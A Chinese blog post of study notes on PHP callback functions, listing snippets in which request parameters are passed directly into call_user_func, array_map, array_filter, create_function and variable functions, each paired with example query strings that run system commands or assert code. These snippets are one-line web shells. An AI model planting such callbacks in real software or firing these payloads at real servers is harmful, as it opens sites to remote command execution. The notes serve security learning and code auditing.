学习笔记- PHP回调函数

PHP回调函数


call_user_func

call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数

<?php
    call_user_func($_GET['a1'],$_GET['a2']);
?>
//xxx.php?a1=system&a2=whoami  //命令执行
//xxx.php?a1=assert&a2=phpinfo()   //代码执行

call_user_func_array()

call_user_func_array() 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

<?php
    call_user_func_array($_GET['a1'],$_GET['a2']);
?>
//xxx.php?a1=system&a2[]=whoami
//xxx.php?a1=assert&a2[]=phpinfo()

create_function()

创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值

<?php
    $b=create_function('', @$_REQUEST['a']);$b();
?>
//xxx.php?a=phpinfo();

array_walk()

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

<?php
    array_walk($_GET['a'],$_GET['b']);
?>
//xxx.php?a[]=whoami&b=system
//xxx.php?a[]=phpinfo()&b=assert

array_map()

array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
    array_map($_GET['a'],$_GET['b']);
?>
//xxx.php?a=system&b[]=whoami
//xxx.php?a=assert&b[]=phpinfo()

array_filter()

array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php
    array_filter(array($_GET['cmd']),$_GET['func']);
?>
//?func=system&cmd=whoami
//?func=assert&cmd=phpinfo()

可变函数$var(args)

PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

<?php
    $_GET['a']($_GET['b']);
?>
//xxx.php?a=system&b=whoami
//xxx?a=assert&b=phpinfo()

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

posted @ 2022-10-31 20:08  syscallwww  阅读(82)  评论(0编辑  收藏  举报